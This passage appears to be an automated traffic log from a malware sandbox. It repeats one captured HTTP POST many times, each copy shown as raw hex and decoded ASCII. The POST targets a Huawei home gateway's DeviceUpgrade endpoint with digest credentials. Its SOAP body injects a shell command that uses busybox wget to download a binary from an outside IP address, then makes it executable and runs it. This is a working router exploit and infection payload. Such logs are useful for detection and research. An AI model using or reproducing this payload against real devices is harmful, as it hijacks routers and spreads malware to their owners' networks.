77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
